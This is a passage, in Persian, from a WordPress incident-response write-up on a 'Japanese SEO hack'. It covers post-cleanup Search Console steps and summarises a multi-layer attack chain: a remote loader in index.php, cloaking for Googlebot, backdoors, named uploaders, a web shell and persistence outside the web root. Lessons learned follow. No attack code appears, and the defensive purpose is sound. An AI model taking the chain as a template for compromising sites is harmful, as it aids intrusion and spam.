FTP Accounts SSH Keys API Tokens Email Forwarders Email Filters Application Passwords Cron Jobs
از هاستینگ درخواست شود:
ModSecurity OWASP CRS ImunifyAV+ Imunify360 Scheduled Malware Scan Email Alert CloudLinux CageFS Account Isolation
پاکشدن فایلها به معنی حذف فوری نتایج اسپم از گوگل نیست.
بعد از پاکسازی باید:
Sitemap واقعی بررسی شود.
Sitemap دوباره در Search Console ثبت شود.
صفحه اصلی با Live Test آزمایش شود.
URLهای /prizes/ پاسخ 404 یا 410 بدهند.
URLهای جعلی در ابزار Removals موقتاً مخفی شوند.
صفحات اصلی Request Indexing شوند.
گزارش Pages و Crawled Currently Not Indexed بررسی شود.
Favicon و Title جدید دوباره Crawl شوند.
Server Log برای درخواستهای قدیمی Googlebot بررسی شود.
بازگشت Googlebot به URLهای اسپم قدیمی طبیعی است. مهم این است که دیگر محتوای ژاپنی یا پاسخ 200 دریافت نکند.
این آلودگی فقط یک «هک ژاپنی ساده» نبود.
ساختار حمله چندلایه بود:
Remote Loader در index.php ↓ Cloaking برای Googlebot ↓ Sitemap و URL جعلی ↓ Backdoor در ریشه سایت ↓ Uploaderهای BDKR28 و Priv1337 ↓ Leaf PHPMailer برای ارسال اسپم ↓ Web Shell با اجرای Command ↓ Payloadهای مخفی در uploads ↓ کپی بدافزار در tmp، ssl، etc و public_ftp ↓ ۱۲ نسخه Loader داخل wp-admin و wp-includes
مهمترین درسها:
ظاهر سالم سایت دلیل سالمبودن آن نیست.
Google Search Console میتواند اولین محل کشف Cloaking باشد.
نبودن محتوا در دیتابیس، آلودگی فایلها را رد نمیکند.
فقط public_html را اسکن نکنید.
فقط نام فایل را بررسی نکنید.
فقط به یک اسکنر اعتماد نکنید.
پوشههای هسته را قبل از نصب نسخه سالم حذف کنید.
PHP داخل uploads را جدی بگیرید.
Hash و Marker هر دو مفیدند، اما رفتار فایل مهمتر است.
فایلهای خارج از Web Root نیز میتوانند Persistence ایجاد کنند.
بعد از حذف بدافزار، رمزها و دسترسیها باید تغییر کنند.
بدون مانیتورینگ و بکاپ خارج از هاست، پاکسازی کامل نیست.
در این پرونده، پاکسازی واقعی زمانی کامل شد که:
اسکن خانواده 85049c1f2be10d: صفر اسکن Loader رمزگذاریشده: صفر اسکن دیتابیس: صفر Cron Job مشکوک: صفر auto_prepend_file مشکوک: صفر کاربر مدیر ناشناس: صفر Google Live Test: نسخه واقعی سایت
این تجربه نشان داد که برای حل هک ژاپنی وردپرس، نباید فقط روی صفحهای که گوگل نشان میدهد تمرکز کرد. باید زنجیره کامل آلودگی، از اولین فایل اجراشونده تا آخرین Backdoor پنهان در اکانت هاست، شناسایی و قطع شود.